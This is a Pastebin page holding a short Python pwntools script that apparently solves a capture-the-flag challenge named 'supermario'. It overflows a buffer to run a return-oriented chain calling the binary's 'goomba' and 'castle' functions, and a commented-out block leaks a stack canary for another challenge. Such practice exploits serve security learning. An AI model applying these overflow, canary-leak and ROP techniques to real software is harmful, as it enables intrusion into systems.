Advertisement
nicoviale_

Untitled

May 10th, 2024
728
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.13 KB | None | 0 0
  1. #!/usr/bin/env python3
  2.  
  3. #from cle import ELF
  4. from pwn import *
  5.  
  6. exe = ELF("./supermario")
  7.  
  8. #context.terminal = ['tmux', 'splitw', '-h']
  9. #context.binary = exe
  10.  
  11.  
  12. def conn():
  13.     if args.LOCAL:
  14.         r = process([exe.path])
  15.     elif args.GDB:
  16.         r = gdb.debug([exe.path], '''
  17.            
  18.        ''')
  19.     else:
  20.         r = remote("supermario.chall.srdnlen.it", 443, ssl=True)
  21.  
  22.     return r
  23.  
  24.  
  25. def main():
  26.     r = conn()
  27.     rop=ROP(exe)
  28.     #trovato con ropper
  29.     #ropper -f supermario --search "pop rdi"
  30.     #0x00000000004011d3: pop rdi; ret;
  31.  
  32.     pop_rdi = 0x4011d3
  33.     #0xDEADBEEFDEADBEEF
  34.     r.recvuntil(b"> ")
  35.     payload = b"A"*40 + p64(rop.ret.address) + p64(pop_rdi) + p64(0xDEADBEEFDEADBEEF) + p64(exe.symbols['goomba']) +p64(rop.ret.address)+ p64(exe.symbols['castle'])
  36.     r.sendline(payload)    
  37.  
  38.    
  39.     r.interactive()
  40.  
  41.  
  42. main()
  43.  
  44.  
  45. """    r.recvuntil(b"Latitude: ")
  46.    r.send(b"*"*(528-8 + 1))
  47.    canarino = r.recvline()
  48.    canarino = chr(0).encode() + canarino[-9:-2]
  49.    r.recvuntil(b"Longitude: ")
  50.    r.sendline(b"*"*(272-8) + p64(int.from_bytes(canarino, 'little')) + p64(0x40138B))"""
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement